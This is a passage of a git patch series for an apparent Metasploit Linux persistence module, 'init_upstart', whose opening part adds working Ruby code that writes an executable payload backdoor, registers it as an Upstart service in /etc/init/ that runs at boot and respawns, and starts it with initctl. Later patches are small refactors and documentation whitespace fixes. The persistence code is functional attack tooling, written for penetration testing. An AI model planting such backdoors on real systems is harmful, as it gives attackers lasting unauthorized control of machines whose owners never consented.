write_shell(datastore['WritableDir']) + + path = backdoor.split('/')[0...-1].join('/') + file = backdoor.split('/')[-1] + + upstart(path, file, target.opts[:runlevel]) + end + + def write_shell(path) + file_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(5..10) + backdoor = "#{path}/#{file_name}" + vprint_status("Writing backdoor to #{backdoor}") + if payload.arch.first == 'cmd' + write_file(backdoor, payload.encoded) + chmod(backdoor, 0o711) + else + upload_and_chmodx backdoor, generate_payload_exe + end + @clean_up_rc << "rm #{backdoor}\n" + + fail_with(Failure::NoAccess, 'File not written, check permissions.') unless file_exist?(backdoor) + + backdoor + end + + def upstart(backdoor_path, backdoor_file, runlevel) + script = <<~EOF + description "Start daemon at boot time" + start on filesystem or runlevel [#{runlevel}] + stop on shutdown + # Ensure only one instance runs + pre-start script + if [ -f /var/run/#{backdoor_file}.pid ] && kill -0 $(cat /var/run/#{backdoor_file}.pid) 2>/dev/null; then + echo "#{backdoor_file} is already running." + exit 1 + fi + end script + script + echo $$ > /var/run/#{backdoor_file}.pid + exec #{backdoor_path}/#{backdoor_file} + end script + post-stop script + rm -f /var/run/#{backdoor_file}.pid + sleep 10 + end script + respawn + respawn limit #{datastore['RESTART_LIMIT']} + EOF + service_filename = datastore['SERVICE'] || Rex::Text.rand_text_alpha(7..12) + service_name = "/etc/init/#{service_filename}.conf" + vprint_status("Writing service: #{service_name}") + write_file(service_name, script) + + fail_with(Failure::NoAccess, 'Service file not written, check permissions.') unless file_exist?(service_name) + + @clean_up_rc << "rm #{service_name}" + vprint_status('Starting service') + cmd_exec("initctl start #{service_filename}") + end +end From b9534ffbe4cb302e908a9a7102cab13205c23a18 Mon Sep 17 00:00:00 2001 From: h00die Date: Sat, 6 Sep 2025 11:36:17 -0400 Subject: [PATCH 2/5] use attck ref in upstart persistence module --- modules/exploits/linux/persistence/init_upstart.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/linux/persistence/init_upstart.rb b/modules/exploits/linux/persistence/init_upstart.rb index ae76cc1a4d47..3936fa4ab9d7 100644 --- a/modules/exploits/linux/persistence/init_upstart.rb +++ b/modules/exploits/linux/persistence/init_upstart.rb @@ -54,7 +54,7 @@ def initialize(info = {}) ], 'References' => [ ['URL', 'https://www.digitalocean.com/community/tutorials/how-to-configure-a-linux-service-to-start-automatically-after-a-crash-or-reboot-part-1-practical-examples'], - ['URL', 'https://attack.mitre.org/techniques/T1543/'], + ['ATT&CK', Mitre::Attack::Technique::T1543_CREATE_OR_MODIFY_SYSTEM_PROCESS], ['URL', 'http://blog.terminal.com/getting-started-with-upstart/'] ], 'SessionTypes' => ['shell', 'meterpreter'], From adde043c22c67c1daecb9710e61355b3cefe7123 Mon Sep 17 00:00:00 2001 From: h00die Date: Tue, 9 Sep 2025 17:02:55 -0400 Subject: [PATCH 3/5] upstart updated with mixin udpates --- modules/exploits/linux/persistence/init_upstart.rb | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/modules/exploits/linux/persistence/init_upstart.rb b/modules/exploits/linux/persistence/init_upstart.rb index 3936fa4ab9d7..2a2f74fc769b 100644 --- a/modules/exploits/linux/persistence/init_upstart.rb +++ b/modules/exploits/linux/persistence/init_upstart.rb @@ -77,17 +77,17 @@ def initialize(info = {}) end def check - print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if datastore['WritableDir'].start_with?('/tmp') - return CheckCode::Safe("#{datastore['WritableDir']} isnt writable") unless writable?(datastore['WritableDir']) + print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if writable_dir.start_with?('/tmp') + return CheckCode::Safe("#{writable_dir} isnt writable") unless writable?(writable_dir) return CheckCode::Safe('/etc/init/ isnt writable') unless writable?('/etc/init/') return CheckCode::Safe('Likely not an upstart based system') unless command_exists?('initctl') - CheckCode::Appears("#{datastore['WritableDir']} is writable and system is upstart based") + CheckCode::Appears("#{writable_dir} is writable and system is upstart based") end def install_persistence - backdoor = write_shell(datastore['WritableDir']) + backdoor = write_shell(writable_dir) path = backdoor.split('/')[0...-1].join('/') file = backdoor.split('/')[-1] From 5c52151a06fa659f8e971ccb29c2b79690b54a21 Mon Sep 17 00:00:00 2001 From: h00die Date: Thu, 11 Sep 2025 12:00:22 -0400 Subject: [PATCH 4/5] Update documentation/modules/exploit/linux/persistence/init_upstart.md Co-authored-by: msutovsky-r7 --- documentation/modules/exploit/linux/persistence/init_upstart.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/documentation/modules/exploit/linux/persistence/init_upstart.md b/documentation/modules/exploit/linux/persistence/init_upstart.md index 86e81ef08522..49bb1070c8a0 100644 --- a/documentation/modules/exploit/linux/persistence/init_upstart.md +++ b/documentation/modules/exploit/linux/persistence/init_upstart.md @@ -22,7 +22,7 @@ Targets: ### SERVICE -The name of the service to create. If not chosen, a random one is created. +The name of the service to create. If not chosen, a random one is created. ### PAYLOAD_NAME From 00115457f7dcdf8df8d87a7fb29e6b282c9c563c Mon Sep 17 00:00:00 2001 From: h00die Date: Thu, 11 Sep 2025 12:00:28 -0400 Subject: [PATCH 5/5] Update documentation/modules/exploit/linux/persistence/init_upstart.md Co-authored-by: msutovsky-r7 --- documentation/modules/exploit/linux/persistence/init_upstart.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/documentation/modules/exploit/linux/persistence/init_upstart.md b/documentation/modules/exploit/linux/persistence/init_upstart.md index 49bb1070c8a0..2318bf18747a 100644 --- a/documentation/modules/exploit/linux/persistence/init_upstart.md +++ b/documentation/modules/exploit/linux/persistence/init_upstart.md @@ -26,7 +26,7 @@ The name of the service to create. If not chosen, a random one is created. ### PAYLOAD_NAME -The name of the file to write with our shell if a non-cmd payload is used. If not chosen, a random one is created. +The name of the file to write with our shell if a non-cmd payload is used. If not chosen, a random one is created. ### RESTART_LIMIT